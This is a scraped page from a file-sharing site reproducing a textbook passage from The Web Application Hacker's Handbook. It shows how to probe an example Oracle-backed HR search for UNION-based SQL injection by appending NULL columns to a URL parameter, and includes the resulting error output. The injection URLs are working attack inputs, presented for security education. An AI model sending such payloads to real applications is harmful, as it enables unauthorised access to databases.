The Web Application Hacker’s Handbook Discovering and Exploiting Security Flaws



Download 5,76 Mb.
Pdf ko'rish
bet465/875
Sana01.01.2022
Hajmi5,76 Mb.
#293004
1   ...   461   462   463   464   465   466   467   468   ...   875
Bog'liq
3794 1008 4334

256

Chapter 9 



Injecting Code

70779c09.qxd:WileyRed  9/14/07  3:13 PM  Page 256



An Oracle Hack

Consider an HR application that allows users to perform employee searches. A

typical search employs the following URL:

https://wahh-app.com/employees.asp?EmpNo=7521

This search returns the following results:

ID

EMPLOYEE

JOB

7521


WARD

SALESMAN


We attempt to perform a 

UNION


attack, and so need to determine the

required number of columns used in the query (which may differ from the

number of columns returned in the application’s reponses). Injecting a query

that returns a single column results in an error message:

https://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL%

20from%20dual--

[Oracle][ODBC][Ora]ORA-01789: query block has incorrect number of result

columns


We continue adding additional 

NULL


s to the injected query until no error

message is returned, and our query is executed:

https://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,

NULL,NULL,NULL%20from%20dual--




Download 5,76 Mb.

Do'stlaringiz bilan baham:
1   ...   461   462   463   464   465   466   467   468   ...   875




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©hozir.org 2024
ma'muriyatiga murojaat qiling

kiriting | ro'yxatdan o'tish
    Bosh sahifa
юртда тантана
Боғда битган
Бугун юртда
Эшитганлар жилманглар
Эшитмадим деманглар
битган бодомлар
Yangiariq tumani
qitish marakazi
Raqamli texnologiyalar
ilishida muhokamadan
tasdiqqa tavsiya
tavsiya etilgan
iqtisodiyot kafedrasi
steiermarkischen landesregierung
asarlaringizni yuboring
o'zingizning asarlaringizni
Iltimos faqat
faqat o'zingizning
steierm rkischen
landesregierung fachabteilung
rkischen landesregierung
hamshira loyihasi
loyihasi mavsum
faolyatining oqibatlari
asosiy adabiyotlar
fakulteti ahborot
ahborot havfsizligi
havfsizligi kafedrasi
fanidan bo’yicha
fakulteti iqtisodiyot
boshqaruv fakulteti
chiqarishda boshqaruv
ishlab chiqarishda
iqtisodiyot fakultet
multiservis tarmoqlari
fanidan asosiy
Uzbek fanidan
mavzulari potok
asosidagi multiservis
'aliyyil a'ziym
billahil 'aliyyil
illaa billahil
quvvata illaa
falah' deganida
Kompyuter savodxonligi
bo’yicha mustaqil
'alal falah'
Hayya 'alal
'alas soloh
Hayya 'alas
mavsum boyicha


yuklab olish